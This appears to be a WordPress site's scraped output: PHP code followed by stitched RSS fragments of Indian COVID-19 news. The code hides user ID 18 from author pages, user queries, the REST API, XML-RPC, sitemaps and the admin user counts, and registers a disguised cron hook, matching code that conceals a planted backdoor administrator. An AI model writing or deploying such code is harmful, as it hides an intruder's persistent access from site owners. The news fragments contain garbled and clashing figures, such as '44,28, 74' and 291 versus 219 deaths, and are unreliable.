add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post India reports less than 30,000 new infections and 291 fatalities in 24 hours, despite a drop in COVID-19 cases appeared first on The Edge Media.
]]>
For the second day in a row, India saw a dramatic decrease in daily new instances of COVID-19 infections. India reported a single-day increase of 27,254 coronavirus infections, bringing the total to 33,264,175, according to the Union Health and Family Welfare Ministry.
Kerala had 20,240 COVID-19 cases and 67 deaths out of 27,254 new COVID-19 cases and 219 deaths reported in India in the last 24 hours, according to the Health Ministry.
Active cases of COVID-19 infections decreased by about 10,652 throughout this time, to 3,74,269 currently. According to data posted at 8 a.m., the COVID-19-related death toll has risen to 44,28, 74, with 219 daily fatalities reported on Monday.
The post India reports less than 30,000 new infections and 291 fatalities in 24 hours, despite a drop in COVID-19 cases appeared first on The Edge Media.
]]>The post In the last 24 hours, India has reported 43,263 new cases appeared first on The Edge Media.
]]>
India reported 43,263 new Covid-19 cases in the last 24 hours on Thursday. According to data updated at 9 a.m. by the Union health ministry, the country’s total coronavirus tally has risen to 3,31,39,981.
Kerala reported 30,196 new cases in the last 24 hours, accounting for nearly half of all new cases. With 338 more deaths in the last 24 hours, the death toll has risen to 4,41,749 people. In the last 24 hours, there have been 2,358 new active cases. The active caseload is 3,93,614, or 1.19 percent of the total number of cases.
The post In the last 24 hours, India has reported 43,263 new cases appeared first on The Edge Media.
]]>The post Supreme Court Asks NDMA For Guidelines Of Ex-Gratia For Covid Deaths appeared first on The Edge Media.
]]>In response to a request to the relatives of all those who succeeded to the Virus, the court gave an order asking ex grace of Rs 4 lakh. By their affidavit, the Center had claimed that governmental authorities cannot afford to pay for this and advocated a broader strategy, including health measures.
The post Supreme Court Asks NDMA For Guidelines Of Ex-Gratia For Covid Deaths appeared first on The Edge Media.
]]>The post Death Tolls Of Doctors Counts To 719, Major Numbers in Bihar appeared first on The Edge Media.
]]>Bihar: 111 deaths
Delhi: 109 deaths
Uttar Pradesh: 79 deaths
West Bengal: 63 deaths
Rajasthan: 43 deaths
Andhra Pradesh: 35 deaths
Telangana: 36 deaths
Tamil Nadu: 32 deaths
Kerala: 24 deaths
Maharashtra: 23 deaths
Karnataka: 9 deaths
The post Death Tolls Of Doctors Counts To 719, Major Numbers in Bihar appeared first on The Edge Media.
]]>The post Mumbai Mayor Takes A Dig At BJP Ruled UP Regarding Covid Deaths appeared first on The Edge Media.
]]>On 10 May, 71 bodies were laundered by the side of the river, near the boundary of the State, in Bihar’s hamlet of Chausa, which first revealed the horrors of Uttar Pradesh. Those who live close to the washed bodies worry that they are the victims of Covid-19.
The Mayor Kishori Pednekar said: “There are three areas in Mumbai where all fatalities of Covid happened that can not be concealed.”
The post Mumbai Mayor Takes A Dig At BJP Ruled UP Regarding Covid Deaths appeared first on The Edge Media.
]]>